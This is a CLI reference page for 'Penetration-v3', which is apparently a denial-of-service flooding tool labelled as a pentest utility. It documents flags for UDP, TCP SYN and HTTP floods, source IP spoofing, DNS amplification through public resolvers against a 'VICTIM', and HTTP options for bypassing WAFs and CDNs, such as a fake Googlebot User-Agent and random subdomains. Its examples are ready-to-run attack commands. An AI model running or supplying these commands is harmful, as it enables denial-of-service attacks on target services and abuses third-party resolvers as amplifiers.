Skip to content

CLI Reference

Penetration-v3 uses a key:value CLI syntax. Every interactive wizard run prints an equivalent CLI command at the end that can be copied and re-run directly.

Basic Syntax

bash
pentest-v3 key:value key:value ...
bash
./pentest-v3 protocol:udp ip:10.0.0.5 port:80 pps:10000 workers:4 duration:60

Core Arguments

KeyAliasTypeDefaultDescription
protocol:proto:stringudpAttack method (e.g. udp, tcp, dns, http)
ip:host:, target:stringnoneTarget IP or domain
port:dstport:int80Target port. 0 means random ports.
pps:rate:int1000Target packets per second. 0 means unlimited.
workers:intCPU coresNumber of goroutines sending traffic.
duration:time:int0Run duration in seconds. 0 means run forever.
size:packetsize:int64Payload size in bytes.
pattern:payload:stringrandomPayload pattern: random, zeros, ones, custom.

Rate Control

KeyTypeDefaultDescription
ramp:int0Start at X% of target PPS and ramp up.
rampstep:int10Ramp increment percentage.
rampint:int5Ramp interval in seconds.

Spoofing

KeyTypeDefaultDescription
spoof:boolmethod-dependentEnable IP spoofing for raw-socket methods.
cidr:stringnoneSource CIDR, random, or rotate.

Amplification

KeyTypeDefaultDescription
resolvers:stringnoneComma-separated amplifier IPs. Required for amp methods.
query:stringexample.com.DNS query domain for protocol:dns.

HTTP/L7 Bypass

KeyTypeDefaultDescription
tls:boolfalseUse HTTPS.
h2:boolfalseForce HTTP/2 (requires TLS).
method:stringgetHTTP method: get, post, head.
head:boolfalseUse HEAD method.
rhex:boolfalseRandom hex path for cache/WAF bypass.
dyn:boolfalseRandom subdomain for CDN bypass.
gbotua:boolfalseUse Googlebot User-Agent.
nullua:boolfalseEmpty User-Agent.
cookie:boolfalseRandom Cookie header.

Output

KeyTypeDefaultDescription
stats:booltrueShow live stats.
metrics:stringnoneWrite final stats to file.

Examples

UDP flood

bash
./pentest-v3 protocol:udp ip:10.0.0.5 port:80 pps:50000 duration:30

TCP SYN flood with spoofing

bash
sudo ./pentest-v3 protocol:tcp-spoof ip:10.0.0.5 port:80 pps:100000 cidr:10.0.0.0/24

DNS amplification

bash
sudo ./pentest-v3 protocol:dns ip:VICTIM resolvers:8.8.8.8,1.1.1.1 query:example.com.

HTTP GET with bypass flags

bash
./pentest-v3 protocol:http ip:target.com port:80 pps:5000 rhex:true dyn:true gbotua:true

HTTPS POST with HTTP/2

bash
./pentest-v3 protocol:http ip:target.com port:443 tls:true h2:true method:post pps:5000

CLI Equivalent Output

After any interactive run, Penetration-v3 prints a box like:

text
CLI Equivalent
./pentest-v3 protocol:udp ip:10.0.0.5 port:80 pps:10000 workers:4 duration:60

Copy and re-run this command to skip the wizard entirely.